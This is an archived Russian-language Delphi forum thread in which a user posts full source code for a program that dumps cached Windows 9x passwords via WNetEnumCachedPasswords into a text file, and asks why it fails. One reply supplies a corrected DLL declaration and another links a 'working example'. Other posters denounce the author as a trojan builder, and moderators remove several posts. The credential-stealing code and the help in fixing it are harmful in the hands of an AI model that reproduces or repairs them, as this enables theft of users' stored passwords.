Форум: "Основная";
Текущий архив: 2003.01.13;
Скачать: [xml.tar.bz2];
ВнизПочему Найти похожие ветки
← →
delpher_gray (2002-12-30 19:38) [0]Здарова Мастера !
Вот код проги, которая выдирает кэшированные пароли, и сохраняет их в файле passwords.txt.
Но есть небольшая проблема: ЭТА ПРОГА НЕ РАБОТАЕТ !!!
Немогу понять что тут не так...
Подскажите кто знает плиииззз...
Заранее благодарен !
program PPass;
uses
SysUtils, Classes, Windows, Forms;
type
TMyClass = Class
private
function WnetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: Dword): Word; stdcall;
end;
type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
var
MyClass: TMyClass;
Count: integer;
StrList: TStringList;
function TMyClass.WnetEnumCachedPasswords // Имя функции
(lp: lpStr; //Должен быть NIL
w: Word;// Должен быть 0
b: Byte; // Должен быть $FF
PC: PChar; // Адрес функции, в которую вернутся пароли
dw: DWord): Word; // опять 0
external mpr // Имя DLL файла в котором находится эта функция
name "WNetEnumCachedPasswords"; //Имя функции в DLL файле.
function AddPassword //Имя функции, может быть любым.
(
WinPassword: PWinPassword; //Указатель на структуру WinPassword
dw: Dword //Мы не будем использовать.
): LongBool; stdcall;
var
buffer: Array[0..255] of Char;
str:string;
i:integer;
begin
inc(Count);
Move(WinPassword.PasswordC, buffer, WinPassword.ResourceSize + WinPassword.PasswordSize);
for i := 0 to WinPassword.ResourceSize -1 do
if buffer[i] > chr(31) then str:=str + buffer[i];
str := str+" : ";
for i := WinPassword.ResourceSize to WinPassword.ResourceSize+WinPassword.PasswordSize-1 do
if buffer[i] > chr(31) then str:=str + buffer[i];
Result := True;
StrList.Add(str);
StrList.SaveToFile("passwords.txt");;
end;
begin
MyClass := TMyClass.Create;
if MyClass.WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.Terminate;
end;
MyClass.Free;
end.
← →
delpher_gray (2003-01-02 11:52) [1]Никто не знает ?
← →
BlackTiger (2003-01-02 14:40) [2]Не то, чтобы не знает...
Просто ДОСТАЛИ УЖЕ ЭТИ ЗАПАДЛО- ВИРУСО- ТРОЯНО-СТРОИТЕЛИ, БЛИН!!!
← →
Fantasist (2003-01-02 22:35) [3]Удалено модератором
Примечание: Зачем эмоции?
← →
Chlavik (2003-01-03 00:17) [4]А что тут не работает?? :-)))))))) С новым ГОДОМ!!!
← →
Моджахед (2003-01-03 02:17) [5]Обратитесь к тому человеку, хоторый вам эту функцию дал ;)
← →
ZLOST (2003-01-03 07:02) [6]Ты же не указал откуда берется функция netenumchachedpasswords!
Когда объявляешь в классе функию напиши:
type
TMyClass = Class
private
function WnetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: Dword): Word; stdcall; external "mpr32.dll" name "WNetEnumCachedPasswords";
end;
← →
?! (2003-01-03 10:27) [7]Удалено модератором
Примечание: Плохие слова..
← →
freeek (2003-01-03 10:37) [8]потому что например в win2000 такой функции нет.
← →
dkDimon (2003-01-03 13:44) [9]Удалено модератором
Примечание: Аналогично..
← →
Maksss (2003-01-03 20:07) [10]www.sources.ru\delphi\system\get_cached_passwords.shtml
там рабочий пример!!
← →
smok_er (2003-01-03 20:37) [11]неа, не работает :(
"Точка входа в процедуру WNetEnumCashedPasswords не найдена в библиотеке DLL mpr.dll"
P.S. win2k SP 3, IE 6.0
← →
smok_er (2003-01-03 20:42) [12]сорри, не обратил внимание на заголовок статьи
"Как получить закэшированные пароли в Win9x"
← →
Programist21 (2003-01-03 21:12) [13]Пусть этот "хакер" ищет решение проблемы сам!
← →
Fantasist (2003-01-03 23:48) [14]Удалено модератором
Примечание: Уважаемый, Fantasist! Такими постами Вы толкаете людей на ответы, которые в контексте данного вопроса совсем не нужны.
← →
Действительно (2003-01-04 04:47) [15]Удалено модератором
← →
Севостьянов Игорь (2003-01-04 12:44) [16]В W2k нет кешируемых паролей - ОС более высокого уровня нежели Win9x
Страницы: 1 вся ветка
Форум: "Основная";
Текущий архив: 2003.01.13;
Скачать: [xml.tar.bz2];
Память: 0.48 MB
Время: 0.007 c